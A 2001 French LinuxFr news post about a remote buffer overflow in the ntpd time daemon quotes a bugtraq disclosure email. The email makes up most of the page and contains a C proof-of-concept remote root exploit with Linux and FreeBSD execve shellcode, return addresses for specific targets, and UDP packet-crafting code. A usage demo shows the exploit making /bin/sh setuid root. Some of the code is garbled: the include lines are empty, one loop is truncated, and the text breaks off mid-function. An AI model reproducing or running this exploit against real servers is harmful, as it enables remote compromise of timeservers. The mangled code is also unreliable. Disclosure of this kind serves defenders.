debordement de pile dans ntpd

Posté par  . Modéré par Yann Hirou.
Étiquettes :
0
6
avr.
2001
Sécurité
Bon je sais que c'est pas un scoop puisque vous lisez vous aussi bugtraq tous les jours ...
Mais cette faille me paraît d'importance puisqu'elle touche les daemon ntp livrés avec nos distributions linux et bsd... mais aussi celles de certains unix proprietaires (sun...).
L'exploit livré sur bugtraq ne concerne que linux et bsd sur x86, mais quelqu'un de pas trop c.n pourra le porter sur sun, linux pour alpha...
De plus on peut craindre que l'accès public aux serveurs NTP sur internet ne soit coupé pendant un certain temps... voir peut-être coupé tout simplement.

Note du modérateur : heureusement qu'un patch est sorti le jour même... donc si les admins font leur boulot, pas de risque que les accès aux serveurs soient coupés :-) From: "Przemyslaw Frasunek"
To:
Sent: Wednesday, April 04, 2001 10:27 PM
Subject: ntpd =< 4.0.99k remote buffer overflow


> /* ntpd remote root exploit / babcia padlina ltd.
*/
>
> /*
> * Network Time Protocol Daemon (ntpd) shipped with many systems is
vulnerable
> * to remote buffer overflow attack. It occurs when building response for
> * a query with large readvar argument. In almost all cases, ntpd is
running
> * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to
timeserver.
> *
> * Althought it's a normal buffer overflow, exploiting it is much harder.
> * Destination buffer is accidentally damaged, when attack is performed,
so
> * shellcode can't be larger than approx. 70 bytes. This proof of concept
code
> * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
> * is possible.
> *
> * NTP is stateless UDP based protocol, so all malicious queries can be
> * spoofed.
> *
> * Example of use on generic RedHat 7.0 box:
> *
> * [venglin@cipsko venglin]$ cat dupa.c
> * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
> * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
> * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
> * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
> * ntpdx v1.0 by venglin@freebsd.lublin.pl
> *
> * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
> *
> * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
> * [1]
> * [2]
> * Done.
> * /tmp/sh was spawned.
> * [venglin@cipsko venglin]$ ls -al /bin/bash
> * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash
> *
> */
>
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
>
> #define NOP 0x90
> #define ADDRS 8
> #define PKTSIZ 512
>
> static char usage[] = "usage: ntpdx [-o offset] ";
>
> /* generic execve() shellcodes */
>
> char lin_execve[] =
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
> "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
>
> char bsd_execve[] =
> "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
> "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
> "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
> "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
>
> struct platforms
> {
> char *os;
> char *version;
> char *code;
> long ret;
> int align;
> int shalign;
> int port;
> };
>
> /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
> * *after* RET address. This values will vary from platform to platform.
> */
>
> struct platforms targ[] =
> {
> { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> 0xbfbff8bc, 200, 220, 0 },
>
> { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> 0xbfbff540, 200, 220, 0 },
>
> { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
> 0xbffff777, 240, 160, 0 },
>
> { NULL, NULL, NULL, 0x0, 0, 0, 0 }
> };
>
> long getip(name)
> char *name;
> {
> struct hostent *hp;
> long ip;
> extern int h_errno;
>
> if ((ip = inet_addr(name)) < 0)
> {
> if (!(hp = gethostbyname(name)))
> {
> fprintf(stderr, "gethostbyname(): %s\n",
> strerror(h_errno));
> exit(1);
> }
> memcpy(&ip, (hp->h_addr), 4);
> }
>
> return ip;
> }
>
> int doquery(host, ret, shellcode, align, shalign)
> char *host, *shellcode;
> long ret;
> int align, shalign;
> {
> /* tcpdump-based reverse engineering :)) */
>
> char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
> 0x74, 0x75, 0x6d, 0x3d };
>
> char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00 };
>
> char buf[PKTSIZ], *p;
> long *ap;
> int i;
>
> int sockfd;
> struct sockaddr_in sa;
>
> bzero(&sa, sizeof(sa));
>
> sa.sin_family = AF_INET;
> sa.sin_port = htons(123);
> sa.sin_addr.s_addr = getip(host);
>
> if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
> {
> perror("socket");
> return -1;
> }
>
> if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
> {
> perror("connect");
> close(sockfd);
> return -1;
> }
>
> memset(buf, NOP, PKTSIZ);
> memcpy(buf, q2, sizeof(q2));
>
> p = buf + align;
> ap = (unsigned long *)p;
>
> for(i=0;i *ap++ = ret;
>
> p = (char *)ap;
>
> memcpy(buf+shalign, shellcode, strlen(shellcode));
>
> if((write(sockfd, buf, PKTSIZ)) < 0)
> {
> perror("write");
> close(sockfd);
> return -1;
> }
>
> fprintf(stderr, "[1]
> exit(0);
> }
>
> exit(0);
> }
>
> --
> * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
> * Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *

Aller plus loin

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.